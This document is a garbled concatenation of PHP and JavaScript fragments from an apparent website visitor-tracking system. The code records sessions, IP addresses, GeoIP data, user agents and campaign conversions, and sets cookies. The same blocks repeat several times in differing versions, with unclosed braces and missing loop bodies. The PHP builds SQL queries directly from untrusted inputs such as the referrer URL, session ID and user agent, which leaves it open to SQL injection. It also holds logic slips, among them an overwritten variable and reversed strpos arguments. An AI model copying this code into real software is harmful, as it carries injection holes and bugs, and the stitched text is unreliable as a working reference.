// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheck = $in_referrerNoQuery; } else { continue; }
if ($campaign->IgnoreQueryString == '1') { if ($urlToCheckNoQuery == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } else { if ($urlToCheck == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } } } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// We bail out completely here if the URL points at one of the tracking // scripts -- it's unclear why these URLs are being accessed directly by // some sites, but they are always incorrectly tracked. if (strpos('@https?://www.blvdstatus.com/js@', $currentUrl)) { die(); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */ var chain_onload = window.onload; window.onload = afterLoad;
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Returns the value of the named cookie, or null if no such cookie * exists. */ function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; }
/* * Deletes the specified cookie. */ function eraseCookie(name) { createCookie(name,"",-1); }
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (object && typeof(object) == 'function'); }
/* * The afterLoad function, which is responsible for triggering the * dynamic JavaScript pull. */ function afterLoad() { // We call all the existing onload functions _first_, // in the hope that if they modify the document we // will catch the changes. if (isFunction(chain_onload)) { chain_onload(); }
// Check and see if we have a BLVD session cookie, // if so, maintain that session value. If not, a session // value will be generated by the PHP script. var blvdSessionId = readCookie("blvdSessionId"); if (blvdSessionId == null) blvdSessionId = '';
var bodyNode = document.getElementsByTagName("body")[0]; bodyNode.appendChild(scriptTag); }
/* * Chain the BLVD afterLoad function into the OnLoad event handler. * We store the current OnLoad handler first so we can call it * from our own function. */
if (isFunction(window.addEventListener)) { window.addEventListener('load', afterLoad, false); } else if (isFunction(window.attachEvent)) { window.attachEvent('load', afterLoad); } else { var chain_onload = window.onload; window.onload = afterLoad; }
// Determine if internal tracking is allowed if (isset($in_ait) && $in_ait == 'true') { $allowInternalTracking = true; } else { $allowInternalTracking = false; }
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Find out if we are hitting an internal page if (strpos($currentUrl, 'blvdstatus.com') !== false) { $internalHit = true; } else { $internalHit = false; }
// If we have an internal hit, and internal tracking is not explicitly allowed // we bail out now if ($internalHit && !$allowInternalTracking) { die('//NIT'); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Find out if we are hitting an internal page if (strpos($currentUrl, 'blvdstatus.com') !== false) { $internalHit = true; } else { $internalHit = false; }
// If we have an internal hit, and internal tracking is not explicitly allowed // we bail out now if ($internalHit && !$allowInternalTracking) { die('//NIT'); }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
// If we had a tracking ID, this is just a lookup, otherwise // we actually translate the domain name into an ID as best we can if ($trackingId == '') { echo "//DLU\n"; $domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" ); } else { echo "//DFT\n"; $domainIdResults = $dbConnection->query( "SELECT `ID` FROM `domains` WHERE `TrackingID` = '$trackingId'" ); }
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = (int)$domainIdData->ID; } }
// We're done if the domain isn't found. if ($domainId == 0) { die("//DNR\n"); }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Get all the triggers for the campaign $triggerResults = $dbConnection->query( "SELECT * FROM `campaign_triggers` WHERE `Active` = '1' AND `CampaignID` = '$campaignId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$trigger->ParameterToCheck])) { if ($parameters[$trigger->ParameterToCheck] == $trigger->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { //echo "//Matched\n"; $matchedCampaigns[] = $campaignId; } } else if ($trigger->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($trigger->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($trigger->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheckNoQuery = $in_referrerNoQuery; } else { continue; }
// [CB] Modified on 8/22/2008 to handle "partial matches" // and to ensure case-insensitivity if ($trigger->IgnoreQueryString == '1') { $urlToCheck = strtolower($urlToCheckNoQuery); } else { $urlToCheck = strtolower($urlToCheck); }
if ((int)($trigger->PartialMatch) == '1') { if (stristr($urlToCheck, $trigger->URL) !== false) { $matchedCampaigns[] = $campaignId; } } else { if ($urlToCheck == strtolower($trigger->URL)) { $matchedCampaigns[] = $campaignId; } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; } echo "//BLVDC: $in_blvdC\n\n";
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
/* * Cookie functions -- taken from: * http://www.quirksmode.org/js/cookies.html */ function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
/* * Cookie functions -- modified from: * http://www.quirksmode.org/js/cookies.html */ function createShortTermCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }
